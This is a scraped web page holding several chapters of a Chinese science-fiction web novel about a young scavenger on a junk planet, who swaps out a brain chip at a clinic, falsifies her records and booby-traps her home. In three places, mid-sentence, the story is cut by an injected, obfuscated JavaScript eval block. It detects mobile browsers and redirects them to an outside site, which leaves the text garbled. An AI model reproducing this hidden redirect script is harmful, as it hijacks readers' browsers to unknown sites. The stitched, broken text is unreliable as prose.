拖板车不是很大,承重也差,捡到品质不错的金属材料,洛九天还得提心吊胆怕被人抢,于是也不贪多,直接拖到摆摊街去卖。那儿有专门回收金属材料的摊位,论斤称重。 “10星币一斤,搁那称吧。”摊主是个络腮胡的中年男人,赤裸着上半身,穿着一条工装裤,手上夹着烟,指着旁边的地秤。 洛九天没动:“我刚听你的收价,可不是这个价格。” “嘿嘿,那能一样吗?不知道了吧,你这材料不行,里面杂质太多了,很难炼的。”络腮胡嬉笑一声。 “这是一条钽金属假腿,上面有金属编号的。”洛九天眼睛直盯着他:“要不是折了,我能当废品卖?30星币一斤,你不要我就找下家卖别人。” 她说着,拖着板车作势要走。 压价不成反而被抬了一倍,络腮胡猛吸了一口烟:“啧,碰到个懂行的,行吧,称,下次碰到这种货还卖我这里来啊。” 称重交易完毕,休眠手环里的余额上涨了240星币,洛九天抹了一把汗,打算再去一趟垃圾场。 拖着板车路过自家集装箱,洛九天看见几个人正对着她的集装箱指指点点,甚至有个光头动手去拉门上的门栓。 “你们找我有事?”洛九天走上前,冷眼看着他们。 “没事,正好路过,来看看新人,有没有什么需要哥哥们照顾的地方。”那个光头说着,撒开拉起门栓的手,张开胳膊就搂过来。 洛九天打掉他的手,闪到一边:“哦,看你们开着货车,我还以为想把我家拖走呢。” “怎么会呢,拾荒者的规矩,从来不偷家。”光头笑着,摸了摸头顶突起的刀疤,歪着脖子打量她:“妹妹脾气很倔啊,就是不知道骨头硬不硬。” “你试试不就知道了。”洛九天毫不退缩地回瞪。她还在生长发育期,个头不到170cm,站在这几个男人面前,矮了不止一头。 人矮气势却不能输,洛九天脊背绷得笔直,碎发被汗水打湿黏在额头上,眼里布满红血丝,透着无所畏忌的光,腮帮咬得死死的,看上去像一头随时会发疯的雌豹。 光头扭正了脖子,迟疑着没动手。 正僵持着,旁边有两个人路过,其中一个大喊道:“布鲁诺,你可别坏了拾荒者的规矩,而且你也未必打得过她,她昨天可是开着莫莉家的机甲,把巨蒙鼠当鸡杀。” 洛九天记得说话的这个人,会使枪,昨天被莫莉救回来后,第一个开枪射击,准头很好,打死了一头巨蒙鼠。 名叫布鲁诺的光头,冲洛九天挑了一下潦草的眉毛:“我们就是聊聊,不是吗?” 洛九天抿唇:“是。” 等围着集装箱的人都散了,洛九天才暗自松了一口气。 虽然她一直担心受到巨蒙鼠的袭击,但垃圾星上的人,远比野兽可怕。她年纪轻,个头小,很容易成为欺压的对象。收废品的压她的价,拾荒者想动她的集装箱,要在这颗星球上立足,比她想象中更难。 洛九天咬了咬干裂的嘴皮,拖着板车继续去捡垃圾。 因焦油吸引而来的巨蒙鼠,在精神错乱后,完成了一场对拾荒者的围猎。有些拾荒者没来得及逃脱,被汹涌而来的鼠群淹没。即使薄荷药水驱赶了鼠群,依然留下了一地血淋淋的狼藉。 拾荒者的伙伴将那些残肢断臂捡起来,拖出去挖个坑埋葬,而巨蒙鼠的尸体,则一直曝晒在垃圾场上,直到夜间温度下降,黑色的甲虫从泥土里爬出来,一点点蚕食掉遍地碎渣肉沫。 当太阳再升起,垃圾场中除了干涸的点点血迹,以及混合着焦油的腐臭味,似乎什么都没有发生。 洛九天在垃圾场上搜寻有用的东西,她不像别的拾荒者那么暴力,而是将能用的零部件一个个完整地拆卸下来,放到拖板车上,又将所有拆卸下来的螺丝铆钉,都装进一个捡来的皮质水桶包里。 也许是臭味太令人窒息,她拖着板车,一边走一边捡,越走越远,不知不觉远离了拾荒大部队。 这一片的垃圾更陈旧,经过太阳和雨水的洗礼,没被捡走的废弃金属上锈迹斑斑,锈片脱落成渣,将地面都铺上了一层暗沉的锈红色。 这样的地方经过不知道多少次淘荒,基本捡不到什么有价值的东西,洛九天绕着垃圾山走了半天,除了发现一把能用的密码锁头以外,再没有其他所获。 就在她准备往回走的时候,眼前出现一片绿色。 苍黄色的阳光下,绿色的叶片肥厚而茂盛,像牛的舌头一样,层层叠叠向外摊开。叶片下面,腐败枯黄的落叶堆积着,渐渐渗透出一些红绿相间的液体。 厚叶草形成了一条带状栅栏,被它圈在中间的其他植物,则乱七八糟地生长,什么种类都有,洛九天对这些植物没什么研究,一种都认不出来,但她发现一个很奇特的地方—— 这种厚叶草,就像一道防护墙,为其他植物隔离出一片可供生长的土壤。要知道,由于垃圾场的废弃金属堆积,导致这里的土壤重金属严重超标,基本无法自然生长植物了。 难道是这片垃圾场年代太久,土壤里的重金属经过代谢,又能生长出植物了? 那她是不是可以用这里的泥巴来种菜?她可不想一直啃压缩饼干!洛九天眼睛发亮,将这个位置记下,打算回头过来挖土种菜。 拖着一堆废弃品回了居民区,洛九天怕被黑衣人发现,没有直接在交易街摆摊,而是用几个零件换了一卷铁丝,直接回了集装箱。 她鼓捣了半天,终于在天黑下来之前,将自制的密码锁防护网套装按在了自己的门上。 密码锁是非常古老的转盘款式,需要拨动正确的数字才会开锁,而铁丝绕集装箱内部一圈,只要转盘数字拨动不正确,或者暴力开门,铁丝就会瞬间通电,电流连通整个集装箱壁,成为高压电箱捕鼠器。 做完这些,洛九天总算安心了一点,拍了拍手,掏出背包里的口粮,拆掉卷了好几圈的包装纸,吃下最后一块压缩饼干。 吃了饭,洛九天将水桶包里的螺丝铆钉小零件,一股脑倒进那只冰箱抽屉里,稀里哗啦一阵响。 她在抽屉里挑挑拣拣,找出七八颗捡来的电池,挨个在充电感应柱上试。只有两枚电池还能勉强充电使用,刚好够她换在流星感应灯上。 用能量晶卡通上电,流星灯一瞬间亮了起来,暖黄的灯光将昏黑的集装箱照亮。 洛九天其实不太敢睡,怕有人来找茬,又怕进入那个女人的回忆中,一直熬到脑袋钝痛,疲惫和困顿袭来,令她失去了意识。 这一夜她没有做梦。 第二天早上六点,洛九天背着包,准时出现在垃圾场的停机坪,等着搭乘尤珈的垃圾运输飞船。 尤珈在人群里发现了她,欲言又止地眨了眨眼,瞥开了视线。 洛九天愣了一瞬,排在了队伍最后面,她总觉得尤珈有话要说。 轮到她的时候,尤珈凑近洛九天耳边,低声嘀咕:“埃德蒙死了。” 洛九天惊讶地抬眼看她:“巨蒙鼠?” 前天下午巨蒙鼠群冲进垃圾场的时候,洛九天并没有瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880958|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见埃德蒙的身影,不过那一片范围很广,她当时自顾不暇,没注意到也正常。 “不是,前天上午就死了,被他同伴发现的。”尤珈的光脑触碰休眠手环:“他同伴说,死之前那个晚上,埃德蒙绑了个昏迷的人回去,说要卖到矿星,他们经常干这档子事,所以同伴没有在意……是在家里被枪杀的,埃德蒙的枪,子弹正中眉心。” “是那个黑衣人?”洛九天微微变了脸色。 难怪她当时跑回去,黑衣人已经不在原地,原来是被埃德蒙捡走了? 尤珈点头:“是,他现在有枪了。他应该没看见我的脸,你自己多加小心。” 洛九天:“……” 和尤珈道了谢,洛九天上了垃圾运输飞船。 第二次乘坐这艘飞船,她才注意去看飞船的构造和陈设。这艘飞船年头很老,但打造精良,材质厚重,这也是为什么这么老还能继续使用的原因。 除此之外,飞船上一直有一股淡淡的薄荷味,之前她以为是消毒水,但很可能是驱虫驱鼠的混合药水。 在尤珈的驾驶位侧后方,贴着一张照片,是一个白发老头和红发小女孩的合影。 洛九天下了飞船,直奔瓦莱里雅所说的第三大道1号街。 福莱诊所的大门紧缩,洛九天正扭头要走,就见瓦莱里雅双手揣兜走了过来。 “你比我想象的还要早。”瓦莱里雅笑着,打开了诊所大门。 洛九天跟着走了进去,取下口罩问:“这是你新开的诊所?” “没错,今天是开业第一天,你是第一个病人。当然,诊所不方便搞开业大酬宾,所以没有折扣。”瓦莱里雅穿上白大褂,递过来一杯水。 洛九天将水一饮而尽。 瓦莱里雅又接了一杯递给她,随后坐在了对面。 “我只有十万星币能给你,但我需要知道所有你能查到的消息,还有先前说好的两支疫苗。”洛九天迫不及待地直奔主题。 “是TIDE控制剂和巨蒙鼠疫苗。”瓦莱里雅纠正:“TIDE控制剂不是疫苗。” 洛九天在来的路上已经查询过,TIDE控制剂是一种抑制女性生理期的激素。 “TIDE的意思是潮汐。”瓦莱里雅吐字清晰的解释。 洛九天立刻明白过来,月经是如潮汐一般正常的生理现象,不是疫病,TIDE控制剂自然也不疫苗。 而她正好需要。 “这是TIDE控制剂和巨蒙鼠疫苗的说明书,你先看看。”瓦莱里雅将两叠厚厚的纸质说明书扔到洛九天面前。 洛九天扫了一眼,TIDE控制剂需要注射3针,3针过后,10年内不会有生理期。巨蒙鼠疫苗只需要注射1针,有效期虽然也标注了10年,但防护效果会随着时间降低,效果会越来越差,有不到10年疫苗就在体内完全失活的情况。 这两样都纳入了卡培星城的医疗保险,可以报销一部分,但是像洛九天这样没有交纳保险的人,只能高价自费,官方价格加起来确实是10万星币。不过她猜测诊所拿药成本应该很低,否则瓦莱里雅肯定不会答应赠送。 她连忙撸起袖子,眨巴眨巴眼睛:“先注射再支付可以吗?” “你是怕我骗了你的钱把你赶出去吗?”瓦莱里雅挑眉:“看来这两天在NCC6716星,你经历了很多。” 洛九天:“为什么这么说?” 瓦莱里雅拿起一支试剂,放入注射枪里,嘴角微微上扬:“之前你只是单纯的聪明,现在几乎是有些滑头了。” 12. 交易 “来吧。”洛九天往前递出手臂。 注射枪抵在手臂的静脉处,瓦莱里雅按下了注射开关。 试剂通过注射枪的分子渗透仪直接输送进血管中,她几乎没有感觉到痛,只有一丝丝凉凉的痒意。 洛九天看着瓦莱里雅一点不带犹豫的动作,小声嘀咕:“你们拿药成本到底有多低啊。” 瓦莱里雅笑了一下,没有否认,她看了一眼玻璃大门外的街道,站了起来:“好了,你需要在休息室观察1小时,跟我来吧。” 洛九天放下衣袖,跟着瓦莱里雅进了诊所后面的休息室。 休息室没有开灯,瓦莱里雅在光脑的收款界面输入10万,然后递了过来。 洛九天会意,将手伸过去,休眠手环瞬间支付了10万星币。不用看余额,她也能猜到,自己已经变成了一个穷光蛋。 瓦莱里雅操作光脑,验证过虹膜后,桌面缓缓升起一块透明玻璃幕板,随着屏幕亮起,背景转变为护眼绿色。 这块光脑的共享操作屏,被推到了洛九天面前,屏幕上是诺斯休眠公司的信息页。 “这是诺斯休眠公司的内部资料库,你查吧,我去前面。”瓦莱里雅眨了眨眼睛,浅蓝色的眼瞳底泛着光。 洛九天深呼吸了一口气,快速操作屏幕,点进资料库的休眠用户系统,查询从1128年6月23日,也就是她休眠那一天起,半年内的休眠用户名单。 光脑飞快调取数据,资料库页面立即显示了结果——一共有657个人。 照片下标注着人名,以及休眠监护人。 洛九天挨着往下看,没有发现一个认识的面孔。 她又将时间放宽到一年,以防错漏,重新仔仔细细看了一遍,依然毫无结果。洛九天咬了咬唇,开始查感染REST病毒的休眠用户名单。 资料库页面显示查询结果——一共有6243人,其中大部分穿着军装,应该是多年来在战争中受伤感染的军人,而和她同一年休眠的,有421人。 看上去人很多,但两个搜索结果一重叠,页面上只剩下四个人,分别是洛九天、夏因、鲍勃·莫瑞、安陈。 四个人有着同样的休眠监护人——蓝星爱心基金。 洛九天缓缓靠向坚硬冰凉的椅背,手垂下来,不知道是不是药水起效的原因,她觉得有点冷,寒意从血管里往外渗。 休眠人员里没有洛晓河,甚至没有任何一个她认识的人。 为什么?他们是换了一家休眠公司,还是说……她认识的人根本没有进行休眠。 洛九天后脑勺一阵一阵抽痛,她点开另外三个人的资料,把他们的样子都记了下来。 夏因,女,休眠时23岁,休眠时间1128年6月23日,休眠年限200年,解冻时间1328年6月23日。 鲍勃·莫瑞,男,休眠时27岁,休眠时间1128年6月23日,休眠年限200年,解冻时间1328年6月23日。 安陈,女,休眠时12岁,休眠时间1128年6月23日,休眠年限300年,解冻时间1358年7月12日。 夏因和鲍勃都在30年前解冻,目前去向不明,洛九天的视线停在安陈的资料上,她是和自己同一天解冻的。 这个12岁的小女孩,浅绿色的头发齐肩,皮肤是不健康的苍白,甚至能看到里面青紫的血管。她年纪这么小,为什么会感染REST病毒,难道是苍旻基地其他员工的孩子?可她在员工宿舍里从来没有碰到过。 “这个孩子我记得,她休眠前得了脑瘤,解冻时不仅要清除REST病毒,还做了一个脑科手术,比你醒得晚一些。”瓦莱里雅双手揣兜,倚靠在门边。 “那她岂不是?”洛九天张了张嘴,这么小的孩子在垃圾星怎么活? “她这个年纪的儿童,卡培星城很多家庭都愿意收留,所以不用去NCC6716星喂巨蒙鼠。”瓦莱里雅伸手指着屏幕的角落:“这里的接收监护人,应该有记录收留情况。” 果然,洛九天点开页面角落那一栏,看到了安陈的收留信息,她心里松了一口气。只是,这孩子了解的情况,可能还不如她多。 事情比洛九天预想的还要难以推进,她眼前是一片迷雾,不知道往哪个方向伸手。 “怎么?没查到对你有用的信息?明天公司会和修普生物做数据交接,我要去办离职手续,随时有可能被移除权限,所以你赶紧哦。”瓦莱里雅甩了甩手腕:“我可不会退钱的。” “修普生物?” 瓦莱里雅点头:“没错,诺斯休眠公司破产后,被修普生物收购了,他们不打算继续用之前的员工。” 一旦数据被交接,想弄清楚芯片的秘密也会更加困难。 昏暗的室内,洛九天盯着瓦莱里雅的脸,冷不丁开口:“对了,我想换一张语言自译芯片,这张芯片可能质量不好,在我脑子里生锈了,这两天后脑勺老是痛,你知道哪里可以换芯片吗?” 瓦莱里雅挑眉:“才植入两天生锈?会不会是手术机器人操作失误,我可以免费帮你检查一下吧。替换的话,我这里就可以,得收费。” 她的神色和反应看上去很正常,洛九天猜测,瓦莱里雅多半不知道芯片里面夹带的私货。 洛九天:“收多少?” 瓦莱里雅打开检测仪器,让洛九天探身躺了进去:“7万星币,4万是芯片的价格,3万是植入手术费,语言自译芯片是星际共享芯片,没有专利,这个手术也很基础。” 言下之意,这个收费正常合理且不贵。 片刻过后,洛九天头顶传来瓦莱里雅的声音。 “你这张芯片植入位置没有问题,芯片性能良好,你确定要更换?”瓦莱里雅用看穷光蛋的眼神打量洛九天:“赔偿还没下来,你余额里还有钱?” 洛九天一下坐直了身体:“能赊账吗?” “不能。”瓦莱里雅想也不想地拒绝。 “休眠公司的赔偿款一到账,我立马还,你可以收利息。”平生第一次赊账,洛九天的脸不受控制地发热。 可脑子里的芯片就像一颗定时炸弹,小命要紧,她一时半会顾不上其他有的没的。 瓦莱里雅从饮水机里接了杯咖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880959|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啡,抿了一口,眉眼弯了弯:“收利息的话,那也不是不可以……” 洛九天在手术单上签了字,打了一张电子欠条,躺在了手术台上。 局部麻醉过后,瓦莱里雅很快进行了芯片更换手术,如她所说,这个手术很基础,且十分成熟,在精密仪器的操作下,整个手术过程不到10分钟。 洛九天躺在手术台上等着麻醉失效,取出的芯片被瓦莱里雅放在了旁边的检测面板上。 想阻止,已经来不及。 瓦莱里雅轻轻“咦”了一声,她用镊子把芯片夹起来仔细看:“这张芯片好像有点不一样——” 声音戛然而止。 洛九天眼珠转动,捕捉到瓦莱里雅的神情,她的眼睑颤了一下,脸部肌肉有一瞬间的失控。 “哪里不一样?”洛九天努力睁大眼睛:“我就说这芯片质量不好吧。” 瓦莱里雅瞥了洛九天一眼,忽然笑了起来:“洛九天,取芯片应该不是你一时兴起吧,告诉我你要更换芯片的真实原因,我可以考虑回答你为什么不一样。” 四目相对,有探究也有质疑,片刻过后,俩人心照不宣地决定交换信息。 洛九天抿了抿唇:“这芯片里有别人的东西,准确来说是别人的记忆。你知道吗,诺斯休眠公司有一个很大的地下室。” “我知道。”瓦莱里雅毫不意外地点头:“整个星际联盟,一共有三台大脑数据转换机,其中一台就在诺斯休眠公司的地下室里,之前一直在偷偷定向贩卖休眠用户的脑部数据。” 这回轮到洛九天讶异:“你早就清楚?” 瓦莱里雅将手肘撑在旁边的台面上:“是啊,前几年无意中发现的,不过这并不是我的工作,我只负责日常的休眠解冻而已。” “他们会在采集脑部数据后,将那个人清除掉……”洛九天声音低沉了几分。 瓦莱里雅愣了一瞬,没有说话。 麻醉剂失效,洛九天从手术台上坐起来:“不管怎么说,谢谢你替我做手术。” “不用客气,这是交易,而且我有收取利息。”瓦莱里雅有些无奈地扯着下嘴角。 “这张芯片的材质,和普通的语言自译芯片有些不同,但外观一模一样。我猜应该是公司破产时,还有一些脑芯片交易没有完成,但修普生物那边提前过来接手了资产数据监管,各方面查得很严,所以不得不伪装成语音自译芯片,靠人体带出去。” 瓦莱里雅接着说:“在公司里,一向是机器人做芯片植入手术,我没有仔细检查,不过……就算我检查出来,多半也会装作没看到吧,所以,你是个注定倒霉的小家伙。” 洛九天不以为意地眨了眨眼,咧嘴露出一个笑:“没关系,倒霉的不止我一个,忘了告诉你,有人为了这张芯片追杀我,如果知道我在你这里做了芯片替换手术,可能也会派人追杀你,当然啦,也不是没有办法,你可以帮我把休眠公司里那条芯片植入的根记录删除掉,这个应该不收费吧。” “……” 瓦莱里雅愣住,咬牙切齿地瞪着洛九天:“你早就打着这个主意是吧。” 13. 逛街 洛九天嘿嘿干笑了一声,也没有否认。 瓦莱里雅认栽地坐到操作屏面前:“光删除芯片植入的根记录没有用吧?他们不是已经派人追杀你了吗?那个人多半已经拿到了你的个人资料。” “你平时解冻病人,会按照固定的顺序来吗?”洛九天忽然问。 瓦莱里雅想了想,摇头:“不一定,大部分时候会从门口第一个休眠舱开始解冻,但有时会先解冻手术时间长的用户。不过,植入芯片肯定不是按顺序来的,每个人解冻的进度不一样,谁的解冻状态更好,就先给谁植入。” “那么也就是说,在脑芯片被植入之前,没有人知道机器人会把这张芯片放进谁的脑子里,所以这是随机的。”洛九天笃定地推测。 瓦莱里雅:“是这样没错。” “这张芯片上被绑定了一个定位系统,那个人是通过定位来追踪我的,我猜他只想拿到芯片,对我是谁并不感兴趣。既然有方便快捷的定位系统,休眠公司传递芯片的人也不必多此一举,再去告诉他脑芯片被植入了谁的脑子里,不过他现在没了定位,我担心他可能会根据这个根记录再来查我。也不一定,只能赌一把了。” 瓦莱里雅盯着操作屏看了一会儿,忽然抬起头来:“你赌对了,公司内部的所有系统,登录都会留下痕迹,语言自译芯片的记录系统,目前还没有人登录过,也是,谁没事跑来查这个。” “只不过,删除你一个人的芯片植入记录会很明显,因为只有你没植入芯片,反而更引人注意。”瓦莱里雅皱着眉头,说出自己的疑虑。 洛九天:“能不能把我的个人信息全部改掉,名字、外貌和年龄都做成假的?” “一般的员工只有查阅权限,是没办法更改用户资料的,不过呢——我有这个。”瓦莱里雅从兜里摸出来一个胶囊大小的东西。 洛九天:“这是什么?” “诺斯休眠公司的内部资料库密钥,拥有资料库的修改权限,而且不会留下我的修改痕迹。”瓦莱里雅拔开胶囊的一头,插在操作屏上。 “……你不是一个休眠医师吗?”洛九天有点震惊。 “是啊,但是我在这个公司混了十年,又知道了不该知道的事情,总要防备一手。这把密钥是我复制的,只有几个高层管理有。”瓦莱里雅一脸淡定地解释:“我就知道有用上的一天。” 洛九天赞叹地点头:“强。” “名字?”瓦莱里雅说着,打开AI人脸库,在里面快速生成了一张并不存在的人脸,上传资料系统。 “……艾玛·沃德·斯凯?”洛九天绞尽脑汁憋出来一个没人取的名字。 瓦莱里雅:“怎么还有中间名?” 洛九天:“这样显得真实。” 艾玛·沃德·斯凯,41岁,长着一张麻木不仁毫无灵魂的组合大众脸。 很好,洛九天十分满意。 瓦莱里雅做完这些,检查了一遍,确认无误后熄掉了操作屏,开始撵人:“好了,观察时间结束,你现在可以离开。” “谢谢,那我先走了。”洛九天说着,伸手去拿桌面上的芯片。 瓦莱里雅注视着她的举动,嘴唇动了动,还是开口:“看在你还欠我钱的份上,我提醒你一句,你最好不要查地下的事情。那些脑部数据的买家,没有一个背景简单的,你我都惹不起。” “放心,我有分寸,我会尽快还钱。”洛九天将芯片收好,往外面的诊室走去。 “不着急,反正有利息,可以利滚利。”瓦莱里雅双手揣兜,跟着走了出来,就见洛九天拧开了保温杯,正在接饮用水,还往里面添了几块冰。 “……”瓦莱里雅扶额,感觉有点没眼看。 瞧把这孩子给穷的。 背着包从诊所出来,时间刚好到中午饭点,洛九天的肚子不识趣地一阵抽搐。原本她还打算买些生活必需品来着,但现在钱几乎是没有的,还是留在买压缩饼干吧。 尤珈的飞船要晚上8点才飞回垃圾星,她一时半会也不急着回去,干脆就在卡培星城转悠起来,就算不买东西,了解一下物价也是好的。 沿着小巷走到第三大道,洛九天站在一家机甲门店面前,迈不动脚步。 这家门店的外墙,是一整面高清玻璃,足有20米高,玻璃巨幕时而透明,时而变成十分逼真的裸眼3D广告。大楼的上方,高高挂着一个巨大的LOGO,是一只金色的高脚杯。 这是图里集团的标志,金色高脚杯的寓意是盛满财富,被图里集团的人称为圣杯。 虽然站在外面就能看清里面摆放的机甲,但洛九天还是忍不住迈腿走了进去。 店员不冷不热地凑了上来:“您好,请问您是要购买机甲吗?这些观赏型机甲,每一台的原型都在战场上有着耀眼的战绩。”他的脸上挂着笑,眼底却有毫不掩饰的嫌恶。 观赏型机甲,也就是说是个模型机?有钱人还是多,居然愿意花那么多钱买个模型机…… 洛九天眼睛盯着崭新的机甲,脑子里已经开始分析外甲构造,随口应了一声:“哦,我就看看,我买不起。” “……”店员的脸抽搐了一下,仍然保持着表面礼貌:“没关系,您可以看看,说不定有一天您也可以驾驶图里机甲,成为战场上的新星。” 战场的新星? 是了,图里的三代机甲XION,目前只作军用,想要驾驶的话,要么成为机甲兵,要么成为星盗。 虽然莫名有些心痒痒,但三代机甲的造价太贵了,她还得攒钱回苍旻基地,哪有钱来鼓捣这些。 洛九天摇头:“不了,我怕死。” 说完,她头也不回地走出了这家机甲店。 下午没事做,洛九天用休眠手环刷了一下垃圾星的帖子,打算碰碰运气,看能不能找到一个工作,没想到却刷到了一条“垃圾星洗澡方案”。 这次真的洗白了:我花了一天时间研究了一下,星城的公共卫生间都很华丽,里面用水免费,可以洗脸洗头,如果你有个水桶什么的,在隔间里洗澡也不是不行……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880960|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小强一样的女人:第三大道卫生间用的洗手泡沫是玫瑰香氛,比较甜腻,我还是比较喜欢第一大道的,苍兰味很清新,不过那条街的卫生间管得比较严,没有居住资格的人,在里面只能呆3分钟,操! 洛九天刷完相关贴,瞬间决定先去洗个免费的战斗澡。 太好了,她这两天都没洗澡,大热天的,在垃圾堆里摸爬打滚,估计早就就味道了。垃圾星人的分享精神,真是令人感动。 她跟着路标,找到了卫生间,正好女卫生间里有个人提着桶出来。 来人是一个中年女人,穿着一件宽大的T恤,头发还在滴水。大姐看了一眼洛九天:“垃圾星来的?” 洛九天迟疑地点了一下头。 “想洗澡?”大姐湿漉漉的头发往后一甩。 洛九天盯着大姐手里的红色塑料桶,点头:“嗯嗯。” 大姐非常大方地把桶递了过来:“用吧,五分钟必须出来啊,我吹个头发。” 说完,她就将头伸到烘干机下面,闭目养神,嘴巴上还不忘叮嘱一句:“赶紧的,还愣住做啥?” 洛九天合上不由自主张大的嘴巴,提起桶进去接水。 太彪悍了这个生活方式! 五分钟后,洛九天推开卫生间的隔门,才看见清洁机器人一直门口打扫她制造的水迹。发现她出来,还骂了一句:“您的如厕时间已超时,是否便秘?” “……”洛九天抛下它,拎着空水桶从里面冲了出来。 大姐已经吹干了头发,正在等她:“你要不要吹个头?” “太谢谢了大姐,不用了,我头发短。”洛九天将水桶交还到她手里,感激之情溢于言表。 告别好心的大姐,洛九天神清气爽地出去找工作。 可惜她在卡培星城转了大半天,都没有找到活干,大部分的工作都有机器人接手,工作岗位实在是太少了。 不过也不是没有收获,洛九天在星城里找到一个二手货交易市场,里面真是卖什么的都有,价格却很便宜,甚至还有一整箱的维修工具卖,虽然有些工具磨损严重,但整体都能使用。 可惜她穷得响叮当,一问价格,居然要1000星币,她连这种淘汰货都买不起,只好再三跟摊主表示,这箱工具一定给她留着,过三天她挣够钱再来买。 天快黑的时候,洛九天按时来到垃圾分类中心,等着乘坐尤珈的垃圾运输飞船。 飞船已经停在停机坪,正在装载垃圾。 她还没走到搭船的地方,就远远地看见尤珈冲她使了个眼色。 洛九天一愣,心脏猛地狂跳,连忙往垃圾车后面躲去,那个眼神的意思是——不要靠近。 她躲在垃圾车后面,视线在人群里来回搜索,很快发现了黑衣人的身影。他此时正背对着自己,不时左右张望。 真是阴魂不散。 眼看着黑衣人上了飞船,洛九天心里有点着急,她到底是上还是不上呢? 正纠结着,就听见身后传来脚步声。 14. 拆机 洛九天脊背一僵,就听见身后传来尤珈的声音:“九天,你跟我来。” 嗯? 洛九天跟着尤珈,来到垃圾运输飞船的尾舱后门,那里面停放着一辆辆垃圾车,舱门还没有完全关闭。 “想回垃圾星的话,就进去呆着。”尤珈一边说一边往飞船前面走:“马上要出发了,你抓紧时间。” 洛九天看了她一眼,二话不说,三两步爬上飞船,挤进了舱门。 舱门关闭,里面没有开灯,洛九天坐在一排排垃圾车底下,两眼一抹黑,有点抓瞎。 飞船缓缓起飞,车上的垃圾相互摩擦,发出微响,忽然间,“啪”地一声,尾舱的两排大灯同时打开,将一堆堆垃圾照得清楚分明。 洛九天扭头望了一眼驾驶舱的方向。 尾舱都是垃圾,根本不需要开灯,这个灯,是尤珈为她开的。 她看着满满当当的垃圾车,顿时也不萎靡了,直接手脚并用爬上车,开始翻垃圾。 太好了,是最新鲜的垃圾,没有人争,没有人抢! 这么一想她又觉得自己没救了,啊啊啊啊她可是励志成为机甲师的女人,现在居然在因为一堆暂时专属于自己的垃圾而窃喜。 不过很快,垃圾堆的丰富程度,就让她心无旁骛起来。 她找了个很大的行李口袋,将自己有用的零件一股脑的往里塞,收获颇丰,一直塞到口袋装不下为止。 正意犹未尽,洛九天就被脚下的东西绊了一下。她定睛一看,发现那是一条肌肉分明的修长大腿。 “……”洛九天咽了咽口水,忍住没有出声。 她小心走过去,伸出手指戳了一下腿部肌肉,虽然触感和人体肌肤很像,但还是能感觉到细微的差别,二话不说,拽住腿将整个身体扯出来。 这是一个坏掉的人形机器人,机器人的脖子骨架已经折断,只剩下一点悬而未断的钢丝连接,脑袋的外壳也有破损,露出里面的部件。 上半身拧过来,机器人的后脖子上还有几行小字。 就着白晃晃的灯光,她扒拉出来一看,发现那些小字,是机器人的编码和使用说明。 “自变形态性`爱机器人,通过光脑链接操作,可随意更改机器人的外部体态和性别特征,让你每一天都有不同的□□体验。”洛九天的脑子有点懵,好一会儿才理解这段话的意思。 啊——自变形态的意思是真的会变`态! 她满脑子黑线地看着地上的机器人,想了想,还是决定把它带走。 飞船很快平稳落地,舱门打开,垃圾运输车开始不断往外运输垃圾。洛九天提前躲在了最里面的角落里,避免被运输车碾压。 她估摸着这会儿搭乘飞船的乘客正在下船,黑衣人多半也混在其中,为了避免被撞见,于是决定先等过一会儿再走。 过了大概半个小时,尤珈从舱门外跳进来。 “他走了,你出来吧。” 尤珈看了看洛九天拖着的大口袋:“行啊你,在我船上就开始捡上垃圾了。” “你开灯不就是想让我捡垃圾吗?总不能干坐着浪费电吧。”洛九天眨巴眨巴眼睛,拖着机器人往外走。 “不是……你这捡了个什么东西?”尤珈指着地上赤身裸`体,性别莫辨的机器人。 “我手里没工具,得回去拆。”洛九天探头探脑地出了舱门,见黑衣人果然不见踪影,连忙和尤珈告别,一路小跑冲回了家里。 还没有靠近家门,就远远见到几个人围着她的集装箱,一个光头正对着她的集装箱动手动脚。 她连忙放下手里的东西,找了个阴暗角落藏了起来。 那个刀疤光头,正是昨天打过照面的布鲁诺,没想到他们居然贼心不死。不过正好,她的密码锁防护电网,就是为他们准备的。 布鲁诺手下几个正在切割钢筋,他自己手里拎着一把锥子,一榔头砸在密码锁上,金属相撞,密码锁哐当一声响,但并没有断开。 他似乎有些急躁,捏着密码锁骂骂咧咧地喊着:“别磨磨蹭蹭的,直接切割,全都带走。” 洛九天的脸隐在阴影里,看着他们手里的动作。 3——2——1—— 不知是谁触发了防护网的机制,电流顺着铁丝蔓延,几个人猝不及防,身体一僵,应声倒地。 布鲁诺想撒手已经来不及,他抽搐着躺倒在地上,还没有晕死过去,口中不时发出呻吟。被电伤的左手整个灰黄发黑,冒出几缕轻烟,散发着一股烤肉的焦香。 